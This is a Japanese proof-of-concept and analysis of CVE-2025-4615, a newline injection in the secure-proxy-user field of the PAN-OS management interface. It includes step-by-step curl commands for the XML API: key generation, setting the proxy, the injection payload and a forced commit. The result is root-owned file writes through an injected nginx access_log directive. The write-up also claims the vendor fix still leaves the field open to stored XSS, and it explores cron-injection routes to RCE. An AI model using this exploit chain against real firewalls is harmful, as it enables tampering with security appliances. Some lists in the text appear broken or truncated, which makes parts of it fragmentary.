
cve-2025-4615 poc & 深掘り
脆弱性: PAN-OS管理Webインターフェースにおける入力の中立化不備
ベンダーアドバイザリ: https://security.paloaltonetworks.com/CVE-2025-4615
CVSS 4.0: 6.9(中)— 完全性 高、可用性 高
CWE: CWE-83(Webページの属性におけるスクリプトの中立化不備)
CAPEC: CAPEC-165(ファイル操作)
クレジット: Visa Inc.
分析日: 2026-03-26
CVE-2025-4615は、Palo Alto Networks PAN-OSのsecure-proxy-user設定フィールドにおける改行挿入脆弱性です。認証された管理者は、XML APIまたはWebインターフェースを介してプロキシのユーザー名に改行文字(\n)を挿入できます。コミット時に、この値はサニタイズされずに/etc/nginx/nginx.confに書き込まれ、コメント行から逸脱して任意のnginxディレクティブを注入します。
影響:
access_logディレクティブによるroot権限での任意のファイル作成/書き込み注: ベンダーの修正(改行文字の除去)は不完全です。出力エンコーディングや文字許可リストが適用されていないため、同じフィールドは**保存型クロスサイトスクリプティング(XSS)**に対して引き続き脆弱です。
secure-proxy-userフィールドは、PAN-OSスキーマ(schema.xml)で入力サニタイズなしのプレーンな文字列として定義されています。
<element name="secure-proxy-user" optional="yes" type="string"
help-string="Secure Proxy user name to use"/>
注: secure-proxy-serverには正規表現制約(regex="^([0-9a-zA-Z.:/_-])+$")がありますが、secure-proxy-userにはありません。31文字の長さ制限はありますが、文字制限はありません。
コミット時に、PAN-OSはテンプレート(/etc/nginx/nginx.conf.tmpl)から/etc/nginx/nginx.confを再生成します。テンプレートには以下が含まれます。
#pan_proxy_comment %s
%sプレースホルダーは、libpanmp_mp.soライブラリ関数によって埋められます。この関数はプロキシサーバー、ユーザー名、暗号化されたパスワードを1つの文字列に連結します。脆弱なバージョンでは、ユーザー名内の改行文字がそのまま渡されます。
secure-proxy-userにa\naccess_log /tmp/pwn3;\n#が含まれている場合、生成されるnginx.confは以下のようになります。
#pan_proxy_comment 8.8.8.9 a — コメント(無害)
access_log /tmp/pwn3; — 注入されたディレクティブ(nginxによって実行!)
# -AQ==encrypted_password== — 注入された#によってパスワードがコメントアウトされる
1行目はコメントです。2行目はhttpブロックレベルでの有効なnginxディレクティブです。3行目は攻撃者の#文字によって無力化されます。
nginxのマスタープロセスはrootとして実行されます。access_logディレクティブにより、nginxはrootとして対象ファイルを開くか作成します。これにより、以下が可能になります。
修正されたバージョン(11.1.13)では、コンフィグライターがnginx.confに書き込む前にプロキシユーザー名から改行文字を取り除きます。同じ悪意のある値は以下のように生成されます。
#pan_proxy_comment 8.8.8.9 aaccess_log /tmp/pwn3;# -AQ==encrypted_password==
すべてが1行に収まり、#コメント内に安全に収まります。
ただし、この修正は不完全です。 改行注入にしか対応していません。secure-proxy-userフィールドは引き続き任意の文字("、<、>を含む)を出力エンコーディングなしで受け入れるため、保存型XSSのベクターは広く開放されたままです。unit-43-xssを参照してください。
secure-proxy-server(プロキシコメントを表示するために必要)curl -sk "https://<PANOS_IP>/api/?type=keygen&user=admin&password=<PASSWORD>"
curl -sk -X POST "https://<PANOS_IP>/api/" \
--data-urlencode "type=config" \
--data-urlencode "action=set" \
--data-urlencode "key=<APIKEY>" \
--data-urlencode "xpath=/config/devices/entry[@name='localhost.localdomain']/deviceconfig/system" \
--data-urlencode "element=<secure-proxy-server>8.8.8.9</secure-proxy-server>"
# ペイロード: "a\naccess_log /tmp/pwn3;\n#"
# 合計: 26文字(31文字制限内)
# 注入内容: access_log /tmp/pwn3; — rootとして /tmp/pwn3 を作成
curl -sk -X POST "https://<PANOS_IP>/api/" \
--data-urlencode "type=config" \
--data-urlencode "action=set" \
--data-urlencode "key=<APIKEY>" \
--data-urlencode "xpath=/config/devices/entry[@name='localhost.localdomain']/deviceconfig/system" \
--data-urlencode 'element=<secure-proxy-user>a
access_log /tmp/pwn3;
#</secure-proxy-user>'
curl -sk "https://<PANOS_IP>/api/?type=commit&cmd=<commit><force></force></commit>&key=<APIKEY>"
コミット完了後(約30秒):
/tmp/pwn3 がroot所有で作成されるnginx -t -c /etc/nginx/nginx.conf が報告: syntax is okサニタイズされていないsecure-proxy-userの値は複数のファイルに伝播します。
| ファイル | 影響 |
|---|---|
/etc/nginx/nginx.conf | 重大 — nginxディレクティブ注入 |
/opt/pancfg/tmp/.tdb_conf.xml | テンプレートDB設定(XML注入) |
/opt/pancfg/mgmt/audit/cfg-audit.xml,v | 監査トレイルの破損 |
/opt/pancfg/mgmt/replaydb/replay.db | リプレイデータベースの破損 |
| XSL生成のデーモン設定(authd、cord、useriddなど) | XML値に改行が保持される |
curlrc(/root/.curlrc)およびwgetrc(/root/.wgetrc)のライターは、脆弱なバージョンでも改行を除去します。nginx.confライターだけがサニタイズされていないパスでした。
11の攻撃ベクターを広範囲にテストした結果、PAN-OS 11.1.6-h7(nginx 1.20.1)ではCVE-2025-4615単独でのスタンドアロンのOSレベルRCEは達成できないことが確認されました。3つの重要な障害:
\x0Aエスケープ — ログファイルへの生の改行注入を防止し、vixie-cronがガベージ行を許容するにもかかわらず(ラボで確認: cronはガベージに囲まれた有効な行を実行する)、cron注入をブロックするlog_format + access_logを組み合わせて書き込みファイルの内容を制御することを妨げるアドバイザリの「任意のコマンドを実行」は、OSレベルのコマンド実行ではなく、任意のnginxディレクティブを指す可能性が高いです。これはCVSSのVC:N(機密性への影響なし)と修正の性質と一致します。
3つの障害のいずれかが存在しなければ、cron注入によるRCEは簡単に達成可能でした。
分析は隔離されたラボ環境で、PAN-OS 11.1.6-h7(脆弱)およびPAN-OS 11.1.13(修正版)を使用して実施されました。